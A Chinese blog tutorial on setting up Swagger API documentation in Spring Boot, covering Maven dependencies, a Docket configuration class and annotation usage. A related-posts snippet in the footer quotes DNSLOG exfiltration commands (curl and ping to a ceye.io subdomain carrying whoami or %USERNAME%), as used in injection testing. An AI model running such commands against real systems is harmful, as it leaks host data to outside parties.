swagger 介绍及两种使用方法

swagger 介绍及两种使用方法一 swagger 是什么 1 是一款让你更好的书写 API 文档的规范且完整框架 2 提供描述 生产 消费和可视化 RESTfulWebSe 3 是由庞大工具集合支撑的形式化规范 这个集合涵盖了从终端用户接口 底层代码库到商业 API 管理的方方面面 二 使用第三方依赖 最简单的方法 1 在 pom xml 文件中添加第三方 swagger 依赖

一:swagger是什么?

方法一:使用第三方依赖(最简单的方法)

1、在pom.xml文件中添加第三方swagger依赖()

 
   
   
     com.spring4all 
    
   
     swagger-spring-boot-starter 
    
   
     1.7.0.RELEASE 
    
   

方法二:使用官方依赖

1、在pom.xml文件中添加swagger相关依赖
 
   
   
     io.springfox 
    
   
     springfox-swagger2 
    
   
     2.7.0 
    
   
   
   
     io.springfox 
    
   
     springfox-swagger-ui 
    
   
     2.7.0 
    
   
第一个是API获取的包,第二是官方给出的一个ui界面。这个界面可以自定义,默认是官方的,对于安全问题,以及ui路由设置需要着重思考。
2、swagger的configuration

需要特别注意的是swagger scan base package,这是扫描注解的配置,即你的API接口位置。

import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import springfox.documentation.builders.ApiInfoBuilder; import springfox.documentation.builders.PathSelectors; import springfox.documentation.builders.RequestHandlerSelectors; import springfox.documentation.service.ApiInfo; import springfox.documentation.spi.DocumentationType; import springfox.documentation.spring.web.plugins.Docket; import springfox.documentation.swagger2.annotations.EnableSwagger2; @Configuration @EnableSwagger2 public class Swagger2 { @Bean public Docket createRestApi() { return new Docket(DocumentationType.SWAGGER_2) .apiInfo(apiInfo()) .select() .apis(RequestHandlerSelectors.basePackage("com.yss.ms.admin")) .paths(PathSelectors.any()) .build(); } private ApiInfo apiInfo() { return new ApiInfoBuilder() .title("服务:发布为daocke镜像,权限管理,用户管理,页面管理,日志 后台 APIs") .description("服务:发布为daocke镜像,权限管理,用户管理,页面管理,日志 后台") .termsOfServiceUrl("http://192.168.1.198:10070/platformgroup/ms-admin") .contact("程序猿") .version("1.0") .build(); } } 

三、具体使用

1、在API上做一些声明
//本controller的功能描述 @Api(value = "pet", description = "the pet API") public interface PetApi { //option的value的内容是这个method的描述,notes是详细描述,response是最终返回的json model。其他可以忽略 @ApiOperation(value = "Add a new pet to the store", notes = "", response = Void.class, authorizations = { @Authorization(value = "petstore_auth", scopes = { @AuthorizationScope(scope = "write:pets", description = "modify pets in your account"), @AuthorizationScope(scope = "read:pets", description = "read your pets") }) }, tags={ "pet", }) //这里是显示你可能返回的http状态,以及原因。比如404 not found, 303 see other @ApiResponses(value = { @ApiResponse(code = 405, message = "Invalid input", response = Void.class) }) @RequestMapping(value = "/pet", produces = { "application/xml", "application/json" }, consumes = { "application/json", "application/xml" }, method = RequestMethod.POST) ResponseEntity 
  
    addPet( //这里是针对每个参数的描述 @ApiParam(value = "Pet object that needs to be added to the store" ,required=true ) @RequestBody Pet body); 
  
2、设定访问API doc的路由

在配置文件中,application.yml中声明:

springfox.documentation.swagger.v2.path: /api-docs 

这个path就是json的访问request mapping.可以自定义,防止与自身代码冲突。

API doc的显示路由是:http://localhost:8080/swagger-ui.html

如果项目是一个webservice,通常设定home / 指向这里:

@Controller
public class HomeController {

    @RequestMapping(value = "/swagger")
    public String index() {
        System.out.println("swagger-ui.html");
        return "redirect:swagger-ui.html";
    }
}

四:swagger的常用API

1、api标记
2、ApiOperation标记

ApiOperation:用在方法上,说明方法的作用,每一个url资源的定义,使用方式:

@ApiOperation( value = "Find purchase order by ID", notes = "For valid response try integer IDs with value <= 5 or > 10. Other values will generated exceptions", response = Order, tags = {"Pet Store"}) 

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-V8AEIZ2l-24)(http://ozpb6wow8.bkt.clouddn.com/22.png)]

3、ApiParam标记

ApiParam请求属性,使用方式:

public ResponseEntity 
  
    createUser(@RequestBody @ApiParam(value = "Created user object", required = true) User user) 
  

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5veQGqo7-25)(http://ozpb6wow8.bkt.clouddn.com/3.png)]

4、ApiResponse
5、ApiResponses
6、ResponseHeader
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/198223.html原文链接:https://javaforall.net

(0)
上一篇 2026年3月26日 下午3:32
下一篇 2026年3月26日 下午3:32


相关推荐

  • 无锁编程 汇总

    无锁编程 汇总无锁编程主要是通过一系列原子操作实现。原子操作:1.  Read-Modify-Write(RMW)操作Win32上的_InterlockedIncrementandInterlockedDecrement,iOS上的OSAtomicAdd32以及C++11中的std::atomic::fetch_add。需要注意的是,C++11的原子标准不保证其在每个平台上的实现都是无

    2022年5月31日
    41
  • linux之lvm分区扩容[通俗易懂]

    linux之lvm分区扩容[通俗易懂]以下步骤的前提为磁盘lvm分区1、加入新硬盘2、分区PV(physicalvolume)即物理卷,就是物理磁盘,可以通过fdisk-l查看操作系统有几块硬盘VG(volumegroup)即卷组,就是一组物理磁盘的组合,里面可以有一块硬盘也可以有多块硬盘LV(logicalvolume)及逻辑卷,就是在VG(指定的物理磁盘组)里面划分出来的可以说成是PV就是硬盘…

    2022年6月20日
    245
  • hasOwnProperty方法用法简介

    hasOwnProperty方法用法简介hasOwnProperty表示是否有自己的属性。这个方法会查找一个对象是否有某个属性,但是不会去查找它的原型链。▍示例varobj={a:1,fn:function(){},c:{d:5}};console.log(obj.hasOwnProperty(‘a’));//truecons…

    2025年8月22日
    10
  • 使用python快速开发桌面小工具

    使用python快速开发桌面小工具参考链接WelcometoPython.orgExtendingandEmbeddingthePythonInterpreter—Python3.7.3documentation起因更重要在日常开发中,总需要一些普通的小工具。小工具嘛,要得急,写得也急,总有很多不完善的问题,频繁修改成了一个较大的问题。比如之前用c#写了一个将excel表自动转成csv文本的工具,…

    2022年5月20日
    48
  • Vue刷新页面方式详解

    Vue刷新页面方式详解业务需求 问题描述在项目中经常遇到一个问题 例如新增完表单数据和需要重新刷新页面 类似的业务还有很多 这时我们可以考虑的方式如下 推荐 v if 刷新页面 并依赖注入 不太清楚的小伙伴可以看我之前的文章 父组件 子组件 v if load exportdefaul data load true methods refresh this load false this nextTick gt t 子组件 v if load

    2026年3月18日
    2
  • mysql dnslog_DNSLOG用法

    mysql dnslog_DNSLOG用法0x00CommandE nix curlhttp ip port b182oj ceye io whoami ping whoami ip port b182oj ceye ioii windowsping USERNAME b182oj ceye io0x01SQLInj SQLServerDEC hostvarch

    2026年3月16日
    1

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号